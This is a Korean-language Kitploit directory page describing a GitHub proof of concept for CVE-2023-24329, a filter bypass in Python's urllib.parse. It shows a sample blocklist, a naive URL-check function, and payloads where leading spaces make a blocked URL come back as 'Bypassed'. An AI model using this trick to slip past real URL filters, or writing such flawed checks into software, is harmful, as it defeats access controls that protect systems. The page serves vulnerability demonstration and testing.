Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-24329-Exploit — Python의 urllib.parse에서 URL 파싱 우회(CVE-2023-24329)를 시연하는 개념 증명으로, 공백을 앞에 추가하여 차단 목록을 우회할 수 있게 해줍니다. | Kitploit
도구/GitHubGitHub/pentestmano/cve-2023-24329-exploit
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubpentestmano/cve-2023-24329-exploit

CVE-2023-24329-Exploit

Python의 urllib.parse에서 URL 파싱 우회(CVE-2023-24329)를 시연하는 개념 증명으로, 공백을 앞에 추가하여 차단 목록을 우회할 수 있게 해줍니다.

저장소 보기
2년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

소개

URL 파싱 함수는 URL 문자열을 구성 요소로 분할하거나 URL 구성 요소를 URL 문자열로 결합하는 데 초점을 맞춥니다.

  • urllib.parse.urlparse

간단히 URL을 파싱하는 데 사용되는 urllib.parse는 URL 앞에 공백을 추가하여 우회할 수 있습니다. 이는 Python 3.11.4 및 이전 버전에서 발생합니다.

PoC

example.py를 분석해 보겠습니다.

다음은 접근해서는 안 되는 웹사이트 목록입니다:

root@kitploit:~
blocked_list = [
    "http://example.com/",
    "http://example2.com/"
]

이 함수는 웹사이트가 차단 목록에 있는지 확인하며, 차단 목록에 있으면 URL Blocked를 반환해야 합니다.

root@kitploit:~
def is_url_blocked(url):
    parse = urllib.parse.urlparse(url).geturl()
    if  parse in blocked_list: return 'URL Blocked'
    else: return 'Bypassed'

이제 두 개의 URL을 추가하고 둘 중 하나가 차단되어 접근할 수 없는지 확인합니다:

root@kitploit:~
payload1 = "    http://example.com/"
payload2 = "http://example.com/"

print(
    is_url_blocked(payload1),
    "\n",
    is_url_blocked(payload2)
)

payload1은 is_url_blocked()를 우회한 경우입니다. URL 앞에 긴 공백을 추가하면 urllib.parse.urlparse(url).geturl()이 우회되어 예상대로 실행되지 않기 때문입니다. 그래서 출력은 다음과 같습니다.

root@kitploit:~
Bypassed

하지만 payload2에서는 다음과 같은 결과를 얻습니다.

root@kitploit:~
URL Blocked

후원

기부로 저를 지원하고 싶다면, 정말 필요한 누군가에게 기부해 주시길 권장합니다. 그렇게 하신다면 저는 여러분의 지원을 받았다고 생각하겠습니다.

Buy Me A Coffee

도구 다운로드